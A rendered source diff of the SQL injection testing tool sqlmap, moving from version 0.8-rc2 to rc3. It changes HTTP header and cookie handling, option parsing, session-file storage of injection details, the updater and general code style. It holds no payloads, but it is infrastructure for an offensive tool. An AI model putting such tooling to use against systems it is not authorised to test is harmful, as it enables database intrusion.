raise sqlmapUnsupportedDBMSException, errMsg raise sqlmapUnsupportedDBMSException, errMsg
def __setThreads(): def __setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0: if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1 conf.threads = 1
def __setHTTPProxy(): def __setHTTPProxy():
""" """
Check and set the HTTP proxy to pass by all HTTP requests. Check and set the HTTP proxy to pass by all HTTP requests.
@ -526,7 +516,6 @@ def __setHTTPProxy():
else: else:
proxyHandler = urllib2.ProxyHandler({"http": __proxyString}) proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
def __setHTTPAuthentication(): def __setHTTPAuthentication():
""" """
Check and set the HTTP authentication method (Basic, Digest or NTLM), Check and set the HTTP authentication method (Basic, Digest or NTLM),
@ -588,7 +577,6 @@ def __setHTTPAuthentication():
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
def __setHTTPMethod(): def __setHTTPMethod():
""" """
Check and set the HTTP method to perform HTTP requests through. Check and set the HTTP method to perform HTTP requests through.
@ -610,7 +598,6 @@ def __setHTTPMethod():
debugMsg = "setting the HTTP method to %s" % conf.method debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg) logger.debug(debugMsg)
def __setHTTPExtraHeaders(): def __setHTTPExtraHeaders():
if conf.hostname: if conf.hostname:
conf.httpHeaders.append(("Host", conf.hostname)) conf.httpHeaders.append(("Host", conf.hostname))
@ -632,7 +619,6 @@ def __setHTTPExtraHeaders():
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5")) conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7")) conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent(): def __defaultHTTPUserAgent():
""" """
@return: default sqlmap HTTP User-Agent header @return: default sqlmap HTTP User-Agent header
@ -648,7 +634,6 @@ def __defaultHTTPUserAgent():
# updated at March 2009 # updated at March 2009
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def __setHTTPUserAgent(): def __setHTTPUserAgent():
""" """
Set the HTTP User-Agent header. Set the HTTP User-Agent header.
@ -712,7 +697,6 @@ def __setHTTPUserAgent():
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent) logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
logger.info(logMsg) logger.info(logMsg)
def __setHTTPReferer(): def __setHTTPReferer():
""" """
Set the HTTP Referer Set the HTTP Referer
@ -724,7 +708,6 @@ def __setHTTPReferer():
conf.httpHeaders.append(("Referer", conf.referer)) conf.httpHeaders.append(("Referer", conf.referer))
def __setHTTPCookies(): def __setHTTPCookies():
""" """
Set the HTTP Cookie header Set the HTTP Cookie header
@ -733,11 +716,12 @@ def __setHTTPCookies():
if conf.cookie: if conf.cookie:
debugMsg = "setting the HTTP Cookie header" debugMsg = "setting the HTTP Cookie header"
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cookie = sanitizeCookie(conf.cookie, True)
conf.httpHeaders.append(("Connection", "Keep-Alive")) conf.httpHeaders.append(("Connection", "Keep-Alive"))
conf.httpHeaders.append(("Cookie", conf.cookie)) conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout(): def __setHTTPTimeout():
""" """
Set the HTTP timeout Set the HTTP timeout
@ -760,7 +744,6 @@ def __setHTTPTimeout():
socket.setdefaulttimeout(conf.timeout) socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions(): def __cleanupOptions():
""" """
Cleanup configuration attributes. Cleanup configuration attributes.
@ -808,7 +791,6 @@ def __cleanupOptions():
if conf.googleDork or conf.list: if conf.googleDork or conf.list:
conf.multipleTargets = True conf.multipleTargets = True
def __setConfAttributes(): def __setConfAttributes():
""" """
This function set some needed attributes into the configuration This function set some needed attributes into the configuration
@ -843,7 +825,6 @@ def __setConfAttributes():
conf.threadException = False conf.threadException = False
conf.wFileType = None conf.wFileType = None
def __setKnowledgeBaseAttributes(): def __setKnowledgeBaseAttributes():
""" """
This function set some needed attributes into the knowledge base This function set some needed attributes into the knowledge base
@ -862,7 +843,7 @@ def __setKnowledgeBaseAttributes():
kb.dbmsDetected = False kb.dbmsDetected = False
# Active (extensive) back-end DBMS fingerprint # Active (extensive) back-end DBMS fingerprint
kb.dbmsVersion = [] kb.dbmsVersion = [ "Unknown" ]
kb.dep = None kb.dep = None
kb.docRoot = None kb.docRoot = None
@ -888,7 +869,6 @@ def __setKnowledgeBaseAttributes():
kb.unionCount = None kb.unionCount = None
kb.unionPosition = None kb.unionPosition = None
def __saveCmdline(): def __saveCmdline():
""" """
Saves the command line options on a sqlmap configuration INI file Saves the command line options on a sqlmap configuration INI file
@ -918,7 +898,7 @@ def __saveCmdline():
optionData.sort() optionData.sort()
for option, value, datatype in optionData: for option, value, datatype in optionData:
if value == None: if value is None:
if datatype == "boolean": if datatype == "boolean":
value = "False" value = "False"
elif datatype in ( "integer", "float" ): elif datatype in ( "integer", "float" ):
@ -942,13 +922,12 @@ def __saveCmdline():
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg) logger.info(infoMsg)
def __setVerbosity(): def __setVerbosity():
""" """
This function set the verbosity of sqlmap output messages. This function set the verbosity of sqlmap output messages.
""" """
if conf.verbose == None: if conf.verbose is None:
conf.verbose = 1 conf.verbose = 1
conf.verbose = int(conf.verbose) conf.verbose = int(conf.verbose)
@ -965,7 +944,6 @@ def __setVerbosity():
elif conf.verbose >= 4: elif conf.verbose >= 4:
logger.setLevel(8) logger.setLevel(8)
def __mergeOptions(inputOptions): def __mergeOptions(inputOptions):
""" """
Merge command line options with configuration file options. Merge command line options with configuration file options.
@ -983,10 +961,9 @@ def __mergeOptions(inputOptions):
inputOptionsItems = inputOptions.__dict__.items() inputOptionsItems = inputOptions.__dict__.items()
for key, value in inputOptionsItems: for key, value in inputOptionsItems:
if not conf.has_key(key) or conf[key] == None or value != None: if not conf.has_key(key) or conf[key] is None or value is not None:
conf[key] = value conf[key] = value
def init(inputOptions=advancedDict()): def init(inputOptions=advancedDict()):
""" """
Set attributes into both configuration and knowledge base singletons Set attributes into both configuration and knowledge base singletons

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
optDict = { optDict = {
# Family: { "parameter_name": "parameter_datatype" }, # Family: { "parameter_name": "parameter_datatype" },
"Target": { "Target": {
@ -36,6 +34,7 @@ optDict = {
"method": "string", "method": "string",
"data": "string", "data": "string",
"cookie": "string", "cookie": "string",
"dropSetCookie": "boolean",
"referer": "string", "referer": "string",
"agent": "string", "agent": "string",
"userAgentsFile": "string", "userAgentsFile": "string",
@ -131,11 +130,12 @@ optDict = {
}, },
"Miscellaneous": { "Miscellaneous": {
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",
"sessionFile": "string", "sessionFile": "string",
"eta": "boolean",
"googlePage": "integer",
"updateAll": "boolean",
"batch": "boolean", "batch": "boolean",
"cleanup": "boolean" "cleanup": "boolean",
"verbose": "integer"
}, },
} }

View File

@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
class ProgressBar: class ProgressBar:
""" """
This class defines methods to update and draw a progress bar This class defines methods to update and draw a progress bar
@ -42,7 +39,6 @@ class ProgressBar:
self.__amount = 0 self.__amount = 0
self.update() self.update()
def __convertSeconds(self, value): def __convertSeconds(self, value):
seconds = value seconds = value
minutes = seconds / 60 minutes = seconds / 60
@ -50,7 +46,6 @@ class ProgressBar:
return "%.2d:%.2d" % (minutes, seconds) return "%.2d:%.2d" % (minutes, seconds)
def update(self, newAmount=0): def update(self, newAmount=0):
""" """
This method updates the progress bar This method updates the progress bar
@ -87,7 +82,6 @@ class ProgressBar:
percentString = str(percentDone) + "%" percentString = str(percentDone) + "%"
self.__progBar = "%s %s" % (percentString, self.__progBar) self.__progBar = "%s %s" % (percentString, self.__progBar)
def draw(self, eta=0): def draw(self, eta=0):
""" """
This method draws the progress bar if it has changed This method draws the progress bar if it has changed
@ -102,7 +96,6 @@ class ProgressBar:
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max))) blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank)) dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
def __str__(self): def __str__(self):
""" """
This method returns the progress bar string This method returns the progress bar string

View File

@ -27,15 +27,12 @@ In addition to normal readline stuff, this module provides haveReadline
boolean and _outputfile variable used in genutils. boolean and _outputfile variable used in genutils.
""" """
import sys import sys
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
try: try:
from readline import * from readline import *
import readline as _rl import readline as _rl
@ -50,7 +47,7 @@ except ImportError:
except ImportError: except ImportError:
haveReadline = False haveReadline = False
if IS_WIN is True and haveReadline: if IS_WIN and haveReadline:
try: try:
_outputfile=_rl.GetOutputFile() _outputfile=_rl.GetOutputFile()
except AttributeError: except AttributeError:
@ -79,7 +76,6 @@ if PLATFORM == 'darwin' and haveReadline:
uses_libedit = True uses_libedit = True
# the clear_history() function was only introduced in Python 2.4 and is # the clear_history() function was only introduced in Python 2.4 and is
# actually optional in the readline API, so we must explicitly check for its # actually optional in the readline API, so we must explicitly check for its
# existence. Some known platforms actually don't have it. This thread: # existence. Some known platforms actually don't have it. This thread:

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
@ -37,7 +35,6 @@ from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_ALIASES
def setString(): def setString():
""" """
Save string to match in session file. Save string to match in session file.
@ -51,7 +48,6 @@ def setString():
if condition: if condition:
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp(): def setRegexp():
""" """
Save regular expression to match in session file. Save regular expression to match in session file.
@ -65,7 +61,6 @@ def setRegexp():
if condition: if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp)) dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setMatchRatio(): def setMatchRatio():
condition = ( condition = (
not kb.resumedQueries not kb.resumedQueries
@ -76,7 +71,6 @@ def setMatchRatio():
if condition: if condition:
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio)) dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
def setInjection(): def setInjection():
""" """
Save information retrieved about injection place and parameter in the Save information retrieved about injection place and parameter in the
@ -100,7 +94,6 @@ def setInjection():
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter)) dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType)) dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
def setParenthesis(parenthesisCount): def setParenthesis(parenthesisCount):
""" """
@param parenthesisCount: number of parenthesis to be set into the @param parenthesisCount: number of parenthesis to be set into the
@ -118,7 +111,6 @@ def setParenthesis(parenthesisCount):
kb.parenthesis = parenthesisCount kb.parenthesis = parenthesisCount
def setDbms(dbms): def setDbms(dbms):
""" """
@param dbms: database management system to be set into the knowledge @param dbms: database management system to be set into the knowledge
@ -148,7 +140,6 @@ def setDbms(dbms):
logger.info("the back-end DBMS is %s" % kb.dbms) logger.info("the back-end DBMS is %s" % kb.dbms)
def setOs(): def setOs():
""" """
Example of kb.bannerFp dictionary: Example of kb.bannerFp dictionary:
@ -196,7 +187,6 @@ def setOs():
if condition: if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os)) dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
def setStacked(): def setStacked():
condition = ( condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
@ -209,7 +199,6 @@ def setStacked():
if condition: if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest)) dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
def setUnion(comment=None, count=None, position=None): def setUnion(comment=None, count=None, position=None):
""" """
@param comment: union comment to save in session file @param comment: union comment to save in session file
@ -249,7 +238,6 @@ def setUnion(comment=None, count=None, position=None):
kb.unionPosition = position kb.unionPosition = position
def setRemoteTempPath(): def setRemoteTempPath():
condition = ( condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
@ -259,7 +247,6 @@ def setRemoteTempPath():
if condition: if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath)) dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
def resumeConfKb(expression, url, value): def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url: if expression == "String" and url == conf.url:
string = value[:-1] string = value[:-1]

View File

@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import logging import logging
import subprocess import subprocess
import sys import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.8-rc2" VERSION = "0.8-rc3"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import atexit import atexit
import os import os
import rlcompleter import rlcompleter
@ -33,19 +31,16 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
def saveHistory(): def saveHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
readline.write_history_file(historyPath) readline.write_history_file(historyPath)
def loadHistory(): def loadHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
if os.path.exists(historyPath): if os.path.exists(historyPath):
readline.read_history_file(historyPath) readline.read_history_file(historyPath)
def queriesForAutoCompletion(): def queriesForAutoCompletion():
autoComplQueries = {} autoComplQueries = {}
@ -61,7 +56,6 @@ def queriesForAutoCompletion():
return autoComplQueries return autoComplQueries
class CompleterNG(rlcompleter.Completer): class CompleterNG(rlcompleter.Completer):
def global_matches(self, text): def global_matches(self, text):
""" """
@ -80,7 +74,6 @@ class CompleterNG(rlcompleter.Completer):
return matches return matches
def autoCompletion(sqlShell=False, osShell=False): def autoCompletion(sqlShell=False, osShell=False):
# First of all we check if the readline is available, by default # First of all we check if the readline is available, by default
# it is not in Python default installation on Windows # it is not in Python default installation on Windows

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import errno import errno
import os import os
import sys import sys
@ -31,8 +29,7 @@ import time
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
if not IS_WIN:
if IS_WIN is not True:
import fcntl import fcntl
if (sys.hexversion >> 16) >= 0x202: if (sys.hexversion >> 16) >= 0x202:
@ -40,7 +37,6 @@ if IS_WIN is not True:
else: else:
import FCNTL import FCNTL
def blockingReadFromFD(fd): def blockingReadFromFD(fd):
# Quick twist around original Twisted function # Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor # Blocking read from a non-blocking file descriptor
@ -62,8 +58,7 @@ def blockingReadFromFD(fd):
if not output: if not output:
raise EOFError, "fd %s has been closed." % fd raise EOFError, "fd %s has been closed." % fd
return output return output
def blockingWriteToFD(fd, data): def blockingWriteToFD(fd, data):
# Another quick twist # Another quick twist
@ -82,7 +77,6 @@ def blockingWriteToFD(fd, data):
break break
def setNonBlocking(fd): def setNonBlocking(fd):
""" """
Make a file descriptor non-blocking Make a file descriptor non-blocking

View File

@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import time import time
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.convert import urldecode from lib.core.common import sanitizeCookie
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -41,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
from lib.core.session import resumeConfKb from lib.core.session import resumeConfKb
def __setRequestParams(): def __setRequestParams():
""" """
Check and set the parameters and perform checks on 'data' option for Check and set the parameters and perform checks on 'data' option for
@ -65,21 +62,20 @@ def __setRequestParams():
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
if conf.data: if conf.data:
urlDecodedData = urldecode(conf.data).replace("%", "%%") conf.parameters["POST"] = conf.data
conf.parameters["POST"] = urlDecodedData __paramDict = paramToDict("POST", conf.data)
__paramDict = paramToDict("POST", urlDecodedData)
if __paramDict: if __paramDict:
conf.paramDict["POST"] = __paramDict conf.paramDict["POST"] = __paramDict
__testableParameters = True __testableParameters = True
conf.method = "POST"
# Perform checks on Cookie parameters # Perform checks on Cookie parameters
if conf.cookie: if conf.cookie:
# TODO: sure about decoding the cookie? conf.cookie = sanitizeCookie(conf.cookie)
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%") conf.parameters["Cookie"] = conf.cookie
urlDecodedCookie = conf.cookie.replace("%", "%%") __paramDict = paramToDict("Cookie", conf.cookie)
conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie)
if __paramDict: if __paramDict:
conf.paramDict["Cookie"] = __paramDict conf.paramDict["Cookie"] = __paramDict
@ -89,7 +85,8 @@ def __setRequestParams():
if conf.httpHeaders: if conf.httpHeaders:
for httpHeader, headerValue in conf.httpHeaders: for httpHeader, headerValue in conf.httpHeaders:
if httpHeader == "User-Agent": if httpHeader == "User-Agent":
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%") # No need for url encoding/decoding the user agent
conf.parameters["User-Agent"] = headerValue
condition = not conf.testParameter condition = not conf.testParameter
condition |= "User-Agent" in conf.testParameter condition |= "User-Agent" in conf.testParameter
@ -111,7 +108,6 @@ def __setRequestParams():
errMsg += "within the GET, POST and Cookie parameters" errMsg += "within the GET, POST and Cookie parameters"
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
def __setOutputResume(): def __setOutputResume():
""" """
Check and set the output text file and the resume functionality. Check and set the output text file and the resume functionality.
@ -167,7 +163,6 @@ def __setOutputResume():
errMsg = "unable to write on the session file specified" errMsg = "unable to write on the session file specified"
raise sqlmapFilePathException, errMsg raise sqlmapFilePathException, errMsg
def __createFilesDir(): def __createFilesDir():
""" """
Create the file directory. Create the file directory.
@ -181,7 +176,6 @@ def __createFilesDir():
if not os.path.isdir(conf.filePath): if not os.path.isdir(conf.filePath):
os.makedirs(conf.filePath, 0755) os.makedirs(conf.filePath, 0755)
def __createDumpDir(): def __createDumpDir():
""" """
Create the dump directory. Create the dump directory.
@ -195,7 +189,6 @@ def __createDumpDir():
if not os.path.isdir(conf.dumpPath): if not os.path.isdir(conf.dumpPath):
os.makedirs(conf.dumpPath, 0755) os.makedirs(conf.dumpPath, 0755)
def createTargetDirs(): def createTargetDirs():
""" """
Create the output directory. Create the output directory.
@ -214,7 +207,6 @@ def createTargetDirs():
__createDumpDir() __createDumpDir()
__createFilesDir() __createFilesDir()
def initTargetEnv(): def initTargetEnv():
""" """
Initialize target environment. Initialize target environment.

View File

@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
class Unescaper: class Unescaper:
def __init__(self): def __init__(self):
self.__unescaper = None self.__unescaper = None
def setUnescape(self, unescapeFunction): def setUnescape(self, unescapeFunction):
self.__unescaper = unescapeFunction self.__unescaper = unescapeFunction
def unescape(self, expression, quote=True): def unescape(self, expression, quote=True):
return self.__unescaper(expression, quote=quote) return self.__unescaper(expression, quote=quote)
unescaper = Unescaper() unescaper = Unescaper()

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import difflib import difflib
import os import os
import re import re
@ -48,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
from lib.core.settings import VERSION from lib.core.settings import VERSION
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def __updateMSSQLXML(): def __updateMSSQLXML():
infoMsg = "updating Microsoft SQL Server XML versions file" infoMsg = "updating Microsoft SQL Server XML versions file"
logger.info(infoMsg) logger.info(infoMsg)
@ -199,7 +196,6 @@ def __updateMSSQLXML():
infoMsg += "last update" infoMsg += "last update"
logger.info(infoMsg) logger.info(infoMsg)
def __createFile(pathname, data): def __createFile(pathname, data):
mkpath(os.path.dirname(pathname)) mkpath(os.path.dirname(pathname))
@ -207,7 +203,6 @@ def __createFile(pathname, data):
fileFP.write(data) fileFP.write(data)
fileFP.close() fileFP.close()
def __extractZipFile(tempDir, zipFile): def __extractZipFile(tempDir, zipFile):
# Check if the saved binary file is really a ZIP file # Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile): if zipfile.is_zipfile(zipFile):
@ -221,7 +216,6 @@ def __extractZipFile(tempDir, zipFile):
data = sqlmapZipFile.read(info.filename) data = sqlmapZipFile.read(info.filename)
__createFile(os.path.join(tempDir, info.filename), data) __createFile(os.path.join(tempDir, info.filename), data)
def __updateSqlmap(): def __updateSqlmap():
infoMsg = "updating sqlmap" infoMsg = "updating sqlmap"
logger.info(infoMsg) logger.info(infoMsg)
@ -292,8 +286,6 @@ def __updateSqlmap():
# For each file and directory in the temporary directory copy it # For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission # to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)): for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release # Just for development release
if '.svn' in root: if '.svn' in root:
@ -334,7 +326,6 @@ def __updateSqlmap():
infoMsg = "sqlmap updated successfully" infoMsg = "sqlmap updated successfully"
logger.info(infoMsg) logger.info(infoMsg)
def update(): def update():
if not conf.updateAll: if not conf.updateAll:
return return

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from xml.sax import parse from xml.sax import parse
@ -35,7 +33,6 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
class MSSQLBannerHandler(ContentHandler): class MSSQLBannerHandler(ContentHandler):
""" """
This class defines methods to parse and extract information from the This class defines methods to parse and extract information from the
@ -51,7 +48,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__servicePack = "" self.__servicePack = ""
self.__info = info self.__info = info
def __feedInfo(self, key, value): def __feedInfo(self, key, value):
value = sanitizeStr(value) value = sanitizeStr(value)
@ -60,7 +56,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__info[key] = value self.__info[key] = value
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "signatures": if name == "signatures":
self.__release = sanitizeStr(attrs.get("release")) self.__release = sanitizeStr(attrs.get("release"))
@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
elif name == "servicepack": elif name == "servicepack":
self.__inServicePack = True self.__inServicePack = True
def characters(self, data): def characters(self, data):
if self.__inVersion: if self.__inVersion:
self.__version += sanitizeStr(data) self.__version += sanitizeStr(data)
elif self.__inServicePack: elif self.__inServicePack:
self.__servicePack += sanitizeStr(data) self.__servicePack += sanitizeStr(data)
def endElement(self, name): def endElement(self, name):
if name == "signature": if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner): if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__version = "" self.__version = ""
self.__servicePack = "" self.__servicePack = ""
elif name == "version": elif name == "version":
self.__inVersion = False self.__inVersion = False
self.__version = self.__version.replace(" ", "") self.__version = self.__version.replace(" ", "")
@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__inServicePack = False self.__inServicePack = False
self.__servicePack = self.__servicePack.replace(" ", "") self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner): def bannerParser(banner):
""" """
This function calls a class to extract information from the given This function calls a class to extract information from the given

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import sys import sys
from optparse import OptionError from optparse import OptionError
@ -33,7 +31,6 @@ from optparse import OptionParser
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
def cmdLineParser(): def cmdLineParser():
""" """
This function parses the command line parameters and arguments This function parses the command line parameters and arguments
@ -75,8 +72,8 @@ def cmdLineParser():
request.add_option("--cookie", dest="cookie", request.add_option("--cookie", dest="cookie",
help="HTTP Cookie header") help="HTTP Cookie header")
request.add_option("--referer", dest="referer", request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="HTTP Referer header") help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent", request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header") help="HTTP User-Agent header")
@ -85,6 +82,9 @@ def cmdLineParser():
help="Load a random HTTP User-Agent " help="Load a random HTTP User-Agent "
"header from file") "header from file")
request.add_option("--referer", dest="referer",
help="HTTP Referer header")
request.add_option("--headers", dest="headers", request.add_option("--headers", dest="headers",
help="Extra HTTP headers newline separated") help="Extra HTTP headers newline separated")
@ -195,7 +195,6 @@ def cmdLineParser():
action="store_true", action="store_true",
help="Perform an extensive DBMS version fingerprint") help="Perform an extensive DBMS version fingerprint")
# Enumeration options # Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can " enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database " "be used to enumerate the back-end database "
@ -377,17 +376,20 @@ def cmdLineParser():
# Miscellaneous options # Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("-s", dest="sessionFile",
help="Save and resume all data retrieved "
"on a session file")
